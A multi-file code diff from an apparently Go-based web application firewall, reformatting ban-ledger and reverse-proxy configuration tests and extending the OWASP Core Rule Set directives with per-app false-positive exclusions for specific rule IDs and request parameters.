@@ -60,10 +52,7 @@ func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
|
|||||||
|
|
||||||
got := make([]string, 0, len(snapshot))
|
got := make([]string, 0, len(snapshot))
|
||||||
for _, ban := range snapshot {
|
for _, ban := range snapshot {
|
||||||
got = append(
|
got = append(got, ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen))
|
||||||
got,
|
|
||||||
ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
want := []string{
|
want := []string{
|
||||||
@@ -88,10 +77,7 @@ func TestLoadedBansCarryOn(t *testing.T) {
|
|||||||
after := bans.New(defaultParams())
|
after := bans.New(defaultParams())
|
||||||
after.Load(before.Snapshot())
|
after.Load(before.Snapshot())
|
||||||
|
|
||||||
_, banned, _ := after.Check(
|
_, banned, _ := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second))
|
||||||
netblock.Addr(),
|
|
||||||
ban.Expires.Add(-time.Second),
|
|
||||||
)
|
|
||||||
if !banned {
|
if !banned {
|
||||||
t.Error("the loaded ban does not refuse")
|
t.Error("the loaded ban does not refuse")
|
||||||
}
|
}
|
||||||
@@ -99,11 +85,8 @@ func TestLoadedBansCarryOn(t *testing.T) {
|
|||||||
again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{})
|
again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{})
|
||||||
if again.Expires.Sub(again.Start) != 3*time.Hour ||
|
if again.Expires.Sub(again.Start) != 3*time.Hour ||
|
||||||
again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
||||||
t.Errorf(
|
t.Errorf("the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit",
|
||||||
"the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit",
|
again.Expires.Sub(again.Start), again.Notes.EarlierBans)
|
||||||
again.Expires.Sub(again.Start),
|
|
||||||
again.Notes.EarlierBans,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -115,20 +98,10 @@ func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) {
|
|||||||
// ban covers, beside a ban the ledger makes on one IPv4 address.
|
// ban covers, beside a ban the ledger makes on one IPv4 address.
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
ledger.Load([]bans.Ban{
|
ledger.Load([]bans.Ban{
|
||||||
{
|
{Netblock: netip.MustParsePrefix("203.0.113.9/24"), Start: midnight()},
|
||||||
Netblock: netip.MustParsePrefix("203.0.113.9/24"),
|
{Netblock: netip.MustParsePrefix("2001:db8::1/48"), Start: midnight()},
|
||||||
Start: midnight(),
|
|
||||||
},
|
|
||||||
{
|
|
||||||
Netblock: netip.MustParsePrefix("2001:db8::1/48"),
|
|
||||||
Start: midnight(),
|
|
||||||
},
|
|
||||||
})
|
})
|
||||||
ledger.BanForLimit(
|
ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(), bans.Notes{})
|
||||||
netip.MustParsePrefix("198.51.100.7/32"),
|
|
||||||
midnight(),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
|
|
||||||
for client, want := range map[string]bool{
|
for client, want := range map[string]bool{
|
||||||
"203.0.113.0": true,
|
"203.0.113.0": true,
|
||||||
@@ -165,10 +138,7 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
|
|||||||
// As when an admin adds a permanent ban to bans.json with a start
|
// As when an admin adds a permanent ban to bans.json with a start
|
||||||
// before that of the netblock's ban that has ended.
|
// before that of the netblock's ban that has ended.
|
||||||
netblock := netip.MustParsePrefix("203.0.113.0/24")
|
netblock := netip.MustParsePrefix("203.0.113.0/24")
|
||||||
permanent := bans.Ban{
|
permanent := bans.Ban{Netblock: netblock, Start: midnight().Add(-time.Hour)}
|
||||||
Netblock: netblock,
|
|
||||||
Start: midnight().Add(-time.Hour),
|
|
||||||
}
|
|
||||||
ended := bans.Ban{
|
ended := bans.Ban{
|
||||||
Netblock: netblock,
|
Netblock: netblock,
|
||||||
Start: midnight(),
|
Start: midnight(),
|
||||||
@@ -183,31 +153,20 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
|
|||||||
|
|
||||||
ban, banned, _ := ledger.Find(client, now)
|
ban, banned, _ := ledger.Find(client, now)
|
||||||
if !banned || !ban.Permanent() {
|
if !banned || !ban.Permanent() {
|
||||||
t.Errorf(
|
t.Errorf("find gives %+v and %t, want the permanent ban", ban, banned)
|
||||||
"find gives %+v and %t, want the permanent ban",
|
|
||||||
ban,
|
|
||||||
banned,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
ban, banned, _ = ledger.Check(client, now)
|
ban, banned, _ = ledger.Check(client, now)
|
||||||
if !banned || !ban.Permanent() {
|
if !banned || !ban.Permanent() {
|
||||||
t.Errorf(
|
t.Errorf("the client is refused: %t, under %+v, want under the permanent ban",
|
||||||
"the client is refused: %t, under %+v, want under the permanent ban",
|
banned, ban)
|
||||||
banned,
|
|
||||||
ban,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// A limit broken now makes no shorter ban over the permanent one.
|
// A limit broken now makes no shorter ban over the permanent one.
|
||||||
ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{})
|
ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||||
if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 {
|
if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 {
|
||||||
t.Errorf(
|
t.Errorf("a broken limit returned %+v and left the netblock %d bans, "+
|
||||||
"a broken limit returned %+v and left the netblock %d bans, "+
|
"want the permanent ban and 2", ban, len(ledger.Bans(netblock)))
|
||||||
"want the permanent ban and 2",
|
|
||||||
ban,
|
|
||||||
len(ledger.Bans(netblock)),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -236,11 +195,7 @@ func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
|
|||||||
// Once both have ended, a limit broken within the repeat window bans
|
// Once both have ended, a limit broken within the repeat window bans
|
||||||
// for three times the 9 hours, and the notes count the two bans
|
// for three times the 9 hours, and the notes count the two bans
|
||||||
// before the 9-hour one and it, for a limit, and the admin's.
|
// before the 9-hour one and it, for a limit, and the admin's.
|
||||||
ban, _ := ledger.BanForLimit(
|
ban, _ := ledger.BanForLimit(netblock, nineHours.Expires.Add(time.Hour), bans.Notes{})
|
||||||
netblock,
|
|
||||||
nineHours.Expires.Add(time.Hour),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
if ban.Expires.Sub(ban.Start) != 27*time.Hour ||
|
if ban.Expires.Sub(ban.Start) != 27*time.Hour ||
|
||||||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) {
|
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) {
|
||||||
t.Errorf("the next ban lasts %s with earlier bans %+v, "+
|
t.Errorf("the next ban lasts %s with earlier bans %+v, "+
|
||||||
@@ -271,10 +226,7 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) {
|
|||||||
|
|
||||||
held := ledger.Snapshot()
|
held := ledger.Snapshot()
|
||||||
if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
|
if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
|
||||||
t.Errorf(
|
t.Errorf("the ledger holds %+v, want only the ban that began later", held)
|
||||||
"the ledger holds %+v, want only the ban that began later",
|
|
||||||
held,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -304,25 +256,16 @@ func TestLoadReplacesTheBansHeld(t *testing.T) {
|
|||||||
// bans.json is taken in, that ban is lifted.
|
// bans.json is taken in, that ban is lifted.
|
||||||
ledger.Load([]bans.Ban{kept})
|
ledger.Load([]bans.Ban{kept})
|
||||||
|
|
||||||
_, banned, _ := ledger.Check(
|
_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.9"), midnight())
|
||||||
netip.MustParseAddr("203.0.113.9"),
|
|
||||||
midnight(),
|
|
||||||
)
|
|
||||||
if banned {
|
if banned {
|
||||||
t.Error("a ban left out of the second load still refuses")
|
t.Error("a ban left out of the second load still refuses")
|
||||||
}
|
}
|
||||||
|
|
||||||
// The ledger holds one ban, so it makes two more without dropping any.
|
// The ledger holds one ban, so it makes two more without dropping any.
|
||||||
first, _ := ledger.BanForLimit(
|
first, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(),
|
||||||
netip.MustParsePrefix("198.51.100.7/32"),
|
bans.Notes{})
|
||||||
midnight(),
|
second, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.8/32"), midnight(),
|
||||||
bans.Notes{},
|
bans.Notes{})
|
||||||
)
|
|
||||||
second, _ := ledger.BanForLimit(
|
|
||||||
netip.MustParsePrefix("198.51.100.8/32"),
|
|
||||||
midnight(),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
|
|
||||||
want := []bans.Ban{first, second, kept}
|
want := []bans.Ban{first, second, kept}
|
||||||
if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {
|
if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {
|
||||||
|
|||||||
+2319
-4
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -48,25 +48,14 @@ type RProxy struct {
|
|||||||
settings []slog.Attr
|
settings []slog.Attr
|
||||||
}
|
}
|
||||||
|
|
||||||
// defaultUpstreamURL is the default of SWRP_UPSTREAM_URL.
|
|
||||||
const defaultUpstreamURL = "http://127.0.0.1:8081"
|
|
||||||
|
|
||||||
// privateRanges are the private address ranges, the default trusted
|
|
||||||
// proxies.
|
|
||||||
const privateRanges = "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"
|
|
||||||
|
|
||||||
var (
|
var (
|
||||||
errNotUpstreamURL = errors.New(
|
|
||||||
"is not a URL with only a scheme, a host and an optional port, " +
|
|
||||||
"such as http://127.0.0.1:8081")
|
|
||||||
errNeedsWAFBackend = errors.New(
|
errNeedsWAFBackend = errors.New(
|
||||||
"is required: it is waf's URL, such as http://waf:8080")
|
"is required: it is waf's URL, such as http://waf:8080")
|
||||||
errNotDisposition = errors.New("is not allow or deny")
|
errNotDisposition = errors.New("is not allow or deny")
|
||||||
errNotMilliseconds = errors.New(
|
errNotMilliseconds = errors.New(
|
||||||
"is not a whole number of milliseconds above zero, such as 2000")
|
"is not a whole number of milliseconds above zero, such as 2000")
|
||||||
errNotMillisecondsOrOff = errors.New(
|
errNotMillisecondsOrOff = errors.New(
|
||||||
"is not a whole number of milliseconds above zero, such as 60000, or off",
|
"is not a whole number of milliseconds above zero, such as 60000, or off")
|
||||||
)
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally
|
// RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally
|
||||||
@@ -74,36 +63,19 @@ var (
|
|||||||
// SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but
|
// SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but
|
||||||
// invalid is an error that names it. Since rproxy never touches disk, its
|
// invalid is an error that names it. Since rproxy never touches disk, its
|
||||||
// settings have no _FILE form.
|
// settings have no _FILE form.
|
||||||
func RProxyFromEnvironment(
|
func RProxyFromEnvironment(lookupEnv func(string) (string, bool)) (*RProxy, error) {
|
||||||
lookupEnv func(string) (string, bool),
|
|
||||||
) (*RProxy, error) {
|
|
||||||
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
|
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
|
||||||
cfg := &RProxy{
|
cfg := &RProxy{
|
||||||
ListenAddr: env.address("SWRP_LISTEN_ADDR"),
|
ListenAddr: env.address("SWRP_LISTEN_ADDR"),
|
||||||
UpstreamURL: env.appURL(
|
UpstreamURL: env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL),
|
||||||
"SWRP_UPSTREAM_URL",
|
TrustedProxies: env.netblocks("SWRP_TRUSTED_PROXIES", privateRanges),
|
||||||
defaultUpstreamURL,
|
|
||||||
),
|
|
||||||
TrustedProxies: env.netblocks(
|
|
||||||
"SWRP_TRUSTED_PROXIES",
|
|
||||||
privateRanges,
|
|
||||||
),
|
|
||||||
WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"),
|
WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"),
|
||||||
Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
|
Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
|
||||||
DefaultDisposition: env.disposition(
|
DefaultDisposition: env.disposition("SWRP_DEFAULT_DISPOSITION", "allow"),
|
||||||
"SWRP_DEFAULT_DISPOSITION",
|
|
||||||
"allow",
|
|
||||||
),
|
|
||||||
MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
|
MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
|
||||||
MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
|
MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
|
||||||
MaxRequestTime: env.millisecondsOrOff(
|
MaxRequestTime: env.millisecondsOrOff("SWRP_MAX_REQUEST_TIME_MS", "60000"),
|
||||||
"SWRP_MAX_REQUEST_TIME_MS",
|
MaxResponseTime: env.millisecondsOrOff("SWRP_MAX_RESPONSE_TIME_MS", "1800000"),
|
||||||
"60000",
|
|
||||||
),
|
|
||||||
MaxResponseTime: env.millisecondsOrOff(
|
|
||||||
"SWRP_MAX_RESPONSE_TIME_MS",
|
|
||||||
"1800000",
|
|
||||||
),
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if env.err != nil {
|
if env.err != nil {
|
||||||
@@ -152,14 +124,6 @@ func (c *RProxy) LogValue() slog.Value {
|
|||||||
return slog.GroupValue(c.settings...)
|
return slog.GroupValue(c.settings...)
|
||||||
}
|
}
|
||||||
|
|
||||||
// appURL reads a setting that is the app's URL.
|
|
||||||
func (e *environment) appURL(name, defaultValue string) *url.URL {
|
|
||||||
upstream, err := parseUpstreamURL(e.value(name, defaultValue))
|
|
||||||
e.check(name, err)
|
|
||||||
|
|
||||||
return upstream
|
|
||||||
}
|
|
||||||
|
|
||||||
// wafBackend reads the setting that is waf's URL, which must be set.
|
// wafBackend reads the setting that is waf's URL, which must be set.
|
||||||
func (e *environment) wafBackend(name string) *url.URL {
|
func (e *environment) wafBackend(name string) *url.URL {
|
||||||
value := e.value(name, "")
|
value := e.value(name, "")
|
||||||
@@ -202,9 +166,7 @@ func (e *environment) milliseconds(name, defaultValue string) time.Duration {
|
|||||||
|
|
||||||
// millisecondsOrOff reads a setting that is a whole number of milliseconds
|
// millisecondsOrOff reads a setting that is a whole number of milliseconds
|
||||||
// above zero, or off, which is 0.
|
// above zero, or off, which is 0.
|
||||||
func (e *environment) millisecondsOrOff(
|
func (e *environment) millisecondsOrOff(name, defaultValue string) time.Duration {
|
||||||
name, defaultValue string,
|
|
||||||
) time.Duration {
|
|
||||||
value := e.value(name, defaultValue)
|
value := e.value(name, defaultValue)
|
||||||
if value == off {
|
if value == off {
|
||||||
return 0
|
return 0
|
||||||
@@ -228,33 +190,3 @@ func parseMilliseconds(value string) (time.Duration, bool) {
|
|||||||
|
|
||||||
return time.Duration(n) * time.Millisecond, true
|
return time.Duration(n) * time.Millisecond, true
|
||||||
}
|
}
|
||||||
|
|
||||||
// parseUpstreamURL reads the app's URL: http or https, a host and an
|
|
||||||
// optional port from 1 to 65535, and nothing else, since the request's
|
|
||||||
// own path and query go to the app unchanged.
|
|
||||||
func parseUpstreamURL(value string) (*url.URL, error) {
|
|
||||||
upstream, err := url.Parse(value)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
|
|
||||||
}
|
|
||||||
|
|
||||||
onlySchemeAndHost := (upstream.Scheme == "http" || upstream.Scheme == "https") &&
|
|
||||||
upstream.Hostname() != "" &&
|
|
||||||
upstream.User == nil &&
|
|
||||||
upstream.Opaque == "" &&
|
|
||||||
(upstream.Path == "" || upstream.Path == "/") &&
|
|
||||||
upstream.RawQuery == "" &&
|
|
||||||
upstream.Fragment == ""
|
|
||||||
if !onlySchemeAndHost {
|
|
||||||
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
|
|
||||||
}
|
|
||||||
|
|
||||||
if upstream.Port() != "" {
|
|
||||||
port, err := strconv.ParseUint(upstream.Port(), 10, 16)
|
|
||||||
if err != nil || port == 0 {
|
|
||||||
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return upstream, nil
|
|
||||||
}
|
|
||||||
@@ -50,28 +50,18 @@ func TestRProxyDefaults(t *testing.T) {
|
|||||||
if cfg.ListenAddr != rproxyDefaultAddr ||
|
if cfg.ListenAddr != rproxyDefaultAddr ||
|
||||||
cfg.UpstreamURL.String() != rproxyDefaultApp ||
|
cfg.UpstreamURL.String() != rproxyDefaultApp ||
|
||||||
cfg.WAFBackend.String() != backendURL {
|
cfg.WAFBackend.String() != backendURL {
|
||||||
t.Errorf(
|
t.Errorf("addresses %q, %v, %v", cfg.ListenAddr, cfg.UpstreamURL, cfg.WAFBackend)
|
||||||
"addresses %q, %v, %v",
|
|
||||||
cfg.ListenAddr,
|
|
||||||
cfg.UpstreamURL,
|
|
||||||
cfg.WAFBackend,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
|
if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
|
||||||
t.Errorf(
|
t.Errorf("timeout %v, default disposition %q", cfg.Timeout, cfg.DefaultDisposition)
|
||||||
"timeout %v, default disposition %q",
|
|
||||||
cfg.Timeout,
|
|
||||||
cfg.DefaultDisposition,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 {
|
if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 {
|
||||||
t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize)
|
t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.MaxRequestTime != time.Minute ||
|
if cfg.MaxRequestTime != time.Minute || cfg.MaxResponseTime != 30*time.Minute {
|
||||||
cfg.MaxResponseTime != 30*time.Minute {
|
|
||||||
t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime)
|
t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -110,12 +100,9 @@ func TestRProxySettingsAreRead(t *testing.T) {
|
|||||||
t.Errorf("addresses %+v", cfg)
|
t.Errorf("addresses %+v", cfg)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.Timeout != 150*time.Millisecond ||
|
if cfg.Timeout != 150*time.Millisecond || cfg.DefaultDisposition != "deny" ||
|
||||||
cfg.DefaultDisposition != "deny" ||
|
cfg.MaxRequestSize != 1024 || cfg.MaxResponseSize != 0 ||
|
||||||
cfg.MaxRequestSize != 1024 ||
|
cfg.MaxRequestTime != 0 || cfg.MaxResponseTime != 250*time.Millisecond {
|
||||||
cfg.MaxResponseSize != 0 ||
|
|
||||||
cfg.MaxRequestTime != 0 ||
|
|
||||||
cfg.MaxResponseTime != 250*time.Millisecond {
|
|
||||||
t.Errorf("limits %+v", cfg)
|
t.Errorf("limits %+v", cfg)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -160,9 +147,7 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
|
|||||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
_, err := rproxyConfig(
|
_, err := rproxyConfig(map[string]string{wafBackend: backendURL, tc.name: tc.value})
|
||||||
map[string]string{wafBackend: backendURL, tc.name: tc.value},
|
|
||||||
)
|
|
||||||
if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
|
if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
|
||||||
t.Errorf("error %v, want one naming %s", err, tc.name)
|
t.Errorf("error %v, want one naming %s", err, tc.name)
|
||||||
}
|
}
|
||||||
@@ -173,9 +158,7 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
|
|||||||
func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) {
|
func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg, err := rproxyConfig(
|
cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL, rproxyTrusted: ""})
|
||||||
map[string]string{wafBackend: backendURL, rproxyTrusted: ""},
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("settings: %v", err)
|
t.Fatalf("settings: %v", err)
|
||||||
}
|
}
|
||||||
@@ -189,8 +172,7 @@ func TestRProxyNeedsItsBackend(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
_, err := rproxyConfig(nil)
|
_, err := rproxyConfig(nil)
|
||||||
if err == nil ||
|
if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
|
||||||
!strings.HasPrefix(err.Error(), wafBackend+": is required") {
|
|
||||||
t.Errorf("error %v, want one saying %s is required", err, wafBackend)
|
t.Errorf("error %v, want one saying %s is required", err, wafBackend)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -206,8 +188,7 @@ func TestRProxyReadsNoFile(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path})
|
_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path})
|
||||||
if err == nil ||
|
if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
|
||||||
!strings.HasPrefix(err.Error(), wafBackend+": is required") {
|
|
||||||
t.Errorf("error %v, want %s still required", err, wafBackend)
|
t.Errorf("error %v, want %s still required", err, wafBackend)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
File diff suppressed because it is too large.
Load diff
+138
-178
@@ -1,9 +1,9 @@
|
|||||||
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
||||||
// method, the URL with its query and the headers of a request, and on its
|
// method, the URL with its query and the headers of a request, and on its
|
||||||
// body while SWW_WAF_BODY_LIMIT is set, with the five changes sww
|
// body while SWW_WAF_BODY_LIMIT is set, with the fourteen changes sww
|
||||||
// makes to it, the fixes for the apps SWW_APPS names, and the exclusions in
|
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
|
||||||
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings"
|
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
|
||||||
// in SPEC.md describes them. It reads no response.
|
// response.
|
||||||
//
|
//
|
||||||
// sww writes only to its state directory, so Coraza is built with
|
// sww writes only to its state directory, so Coraza is built with
|
||||||
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
|
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
|
||||||
@@ -16,8 +16,6 @@ import (
|
|||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
"maps"
|
|
||||||
"net"
|
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"os"
|
"os"
|
||||||
@@ -34,8 +32,11 @@ import (
|
|||||||
|
|
||||||
// directives are the Core Rule Set as sww runs it, with the
|
// directives are the Core Rule Set as sww runs it, with the
|
||||||
// paranoia level for %d, bodyDirectives for the first %s while
|
// paranoia level for %d, bodyDirectives for the first %s while
|
||||||
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second, and the
|
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
|
||||||
// directives of every app in apps for the third.
|
// giteaExclusions for the third, wordpressExclusions for the fourth,
|
||||||
|
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
|
||||||
|
// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
|
||||||
|
// and nextcloudExclusions for the ninth.
|
||||||
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
||||||
// Core Rule Set keeps for the rules that set it up, which
|
// Core Rule Set keeps for the rules that set it up, which
|
||||||
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
||||||
@@ -83,24 +84,67 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
|
|||||||
# before the rules of phase 1 too.
|
# before the rules of phase 1 too.
|
||||||
%s
|
%s
|
||||||
|
|
||||||
# The apps' fixes come before the rules for the same reason.
|
# The eighth change comes before the rules for the same reason.
|
||||||
%s
|
%s
|
||||||
|
|
||||||
# The fifth: only the rules for requests are loaded, and no response is
|
# The ninth change comes before the rules for the same reason.
|
||||||
|
%s
|
||||||
|
|
||||||
|
# So does the tenth.
|
||||||
|
%s
|
||||||
|
|
||||||
|
# So does the eleventh.
|
||||||
|
%s
|
||||||
|
|
||||||
|
# So does the twelfth.
|
||||||
|
%s
|
||||||
|
|
||||||
|
# So does the thirteenth.
|
||||||
|
%s
|
||||||
|
|
||||||
|
# And the fourteenth.
|
||||||
|
%s
|
||||||
|
|
||||||
|
# The sixth: only the rules for requests are loaded, and no response is
|
||||||
# inspected.
|
# inspected.
|
||||||
Include @owasp_crs/REQUEST-*.conf
|
Include @owasp_crs/REQUEST-*.conf
|
||||||
|
|
||||||
# The third: redirect_uri is not checked for a URL naming an IP address or
|
# The third: redirect_uri is not checked for a URL naming an IP address or
|
||||||
# localhost. Coraza matches a parameter name here without regard to case.
|
# localhost. Coraza matches a parameter name here, and in the fourth,
|
||||||
# ARGS holds the fields of a form data or multipart body Coraza reads as
|
# without regard to case. ARGS holds the fields of a form data or multipart
|
||||||
# well as the query parameters, so a field of this name is left out too.
|
# body Coraza reads as well as the query parameters, so a field of one of
|
||||||
|
# these names is left out too.
|
||||||
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
|
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
|
||||||
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
|
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
|
||||||
|
|
||||||
# The fourth: Referer is not checked for a Unix command without arguments
|
# The fourth: the query parameters in which gitea sends names within a
|
||||||
# or for Java starting a process.
|
# repository or its own records, or a page of its own site, are not
|
||||||
|
# checked against the lists of system files, shell paths and command
|
||||||
|
# names. Coraza takes one rule id per directive.
|
||||||
|
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
||||||
|
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
||||||
|
!ARGS:artifactName|!ARGS:redirect_to"
|
||||||
|
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
||||||
|
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
||||||
|
!ARGS:artifactName|!ARGS:redirect_to"
|
||||||
|
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
||||||
|
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
||||||
|
!ARGS:artifactName|!ARGS:redirect_to"
|
||||||
|
|
||||||
|
# The fifth, for Referer: it is not checked for a Unix command without
|
||||||
|
# arguments, for Java starting a process, or for a Java class name. 944130
|
||||||
|
# refused every page opened from the page of java.lang.String.md. The
|
||||||
|
# cookies are left out in Inspect.
|
||||||
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
|
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
|
||||||
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
|
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
|
||||||
|
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
|
||||||
|
|
||||||
|
# The seventh: a container image push that reuses a layer names the image
|
||||||
|
# it takes the layer from in the query parameter from, which is not
|
||||||
|
# checked for command names. 932260 refused the push of a layer from
|
||||||
|
# owner/python3-app.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/v2/.+/blobs/uploads/$" \
|
||||||
|
"id:900500,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:from"
|
||||||
`
|
`
|
||||||
|
|
||||||
// bodyDirectives have the Core Rule Set read the part of a request body
|
// bodyDirectives have the Core Rule Set read the part of a request body
|
